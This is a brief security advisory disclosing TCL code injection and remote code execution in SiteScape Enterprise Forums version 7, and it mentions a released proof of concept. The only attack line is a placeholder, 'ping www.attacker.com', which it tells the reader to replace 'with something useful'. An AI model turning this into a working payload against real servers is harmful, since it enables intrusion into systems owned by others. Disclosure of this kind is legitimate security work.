Background:
-----------
TCL Code injection has previously been discovered


New Details:
------------
Confirmation that SiteScape servers are vulnerable to TCL injection allowing remote code execution through TCL payloads. SecureState has released proof of concept exploit code for this vulnerability.


Vulnerable Versions:
--------------------
Tested on SiteScape Enterprise Forums version 7, others may be vulnerable.


TCL Code Injection:
-------------------
++ Replace "ping www.attacker.com" with something useful
